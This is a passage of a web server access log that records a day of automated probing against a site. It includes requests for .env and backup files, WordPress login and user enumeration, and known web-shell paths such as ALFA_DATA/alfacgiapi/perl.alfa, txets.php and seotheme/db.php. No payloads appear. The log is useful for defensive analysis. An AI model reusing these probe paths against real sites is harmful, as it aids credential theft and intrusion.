HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 144.172.65.31 - - [31/Mar/2026:02:26:17 +0300] "HEAD /backup.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 176.65.132.19 - - [31/Mar/2026:02:50:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 188.166.235.224 - - [31/Mar/2026:02:12:12 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.204.246.56 - - [31/Mar/2026:04:02:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 94.249.151.130 - - [31/Mar/2026:03:34:55 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 83.99.206.214 - - [31/Mar/2026:04:16:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:57 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [31/Mar/2026:07:40:36 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 54.158.150.176 - - [31/Mar/2026:05:22:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:57 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:58 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:58 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 60.188.57.0 - - [31/Mar/2026:07:09:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.173.3.15 - - [31/Mar/2026:09:28:08 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.1.112 - - [31/Mar/2026:05:45:57 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 54.158.150.176 - - [31/Mar/2026:05:30:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 170.106.143.6 - - [31/Mar/2026:05:36:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.92.1.112 - - [31/Mar/2026:05:45:57 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:57 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:58 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.112 - - [31/Mar/2026:05:45:58 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.130.16.212 - - [31/Mar/2026:06:17:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.106.187.36 - - [31/Mar/2026:10:28:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 185.191.236.162 - - [31/Mar/2026:10:30:53 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 87.106.187.36 - - [31/Mar/2026:09:50:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 85.137.48.167 - - [31/Mar/2026:10:44:59 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 20.91.240.203 - - [31/Mar/2026:11:07:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.153.19.83 - - [31/Mar/2026:11:16:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.128.149.102 - - [31/Mar/2026:10:25:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.117.104.48 - - [31/Mar/2026:13:20:55 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 49.234.192.248 - - [31/Mar/2026:13:21:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.117.104.48 - - [31/Mar/2026:13:22:50 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:37 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:16 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:20 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:21 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:21 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:22 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:56 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:52 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:02 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:02 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:03 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:03 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:03 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:42 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:22:25 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:22:35 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:33 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:10 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:18 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:52 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:32 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:22 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:45 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:43 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:07 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:12 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:44 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:48 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:48 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:15 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:22:05 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:22:45 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:10 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:28 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:47 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:37 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:14 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:32 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:05 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:20 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:00 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:04 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:54 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:58 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:22:15 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:25 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:53 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:25 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:35 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:35 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:36 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:21:49 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:02 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:02 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:12 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:12 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:13 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:04 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:28:42 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:29:13 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 85.203.23.82 - - [31/Mar/2026:12:34:38 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.82 - - [31/Mar/2026:12:34:43 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.82 - - [31/Mar/2026:12:34:48 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:20:34 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:23:50 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:24:57 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:26 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:36 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:45 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:25:45 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:28 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:26:47 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:27 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.48 - - [31/Mar/2026:13:27:34 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 185.247.137.179 - - [31/Mar/2026:14:24:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 13.203.79.130 - - [31/Mar/2026:14:09:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15" 194.26.192.253 - - [31/Mar/2026:15:32:13 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.253 - - [31/Mar/2026:15:32:13 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 194.26.192.253 - - [31/Mar/2026:15:32:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 16.176.145.208 - - [31/Mar/2026:15:21:26 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.26.192.253 - - [31/Mar/2026:15:32:13 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.253 - - [31/Mar/2026:15:32:38 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.152.72.244 - - [31/Mar/2026:15:16:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 16.176.145.208 - - [31/Mar/2026:15:21:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.26.192.253 - - [31/Mar/2026:15:32:13 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 170.106.180.139 - - [31/Mar/2026:16:00:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.63 - - [31/Mar/2026:15:42:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.63 - - [31/Mar/2026:15:42:20 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.63 - - [31/Mar/2026:15:42:35 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36" 89.163.146.197 - - [31/Mar/2026:17:46:22 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:24 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:23:02:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 206.189.131.178 - - [31/Mar/2026:23:16:30 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:30:54 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:47:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:24 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:47:46 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:47:46 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:23:02:40 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.38.16.198 - - [31/Mar/2026:23:46:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 OPR/119.0.0.0" 4.205.39.97 - - [01/Apr/2026:00:01:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.159.139.164 - - [31/Mar/2026:20:18:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.39.97 - - [31/Mar/2026:21:30:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A 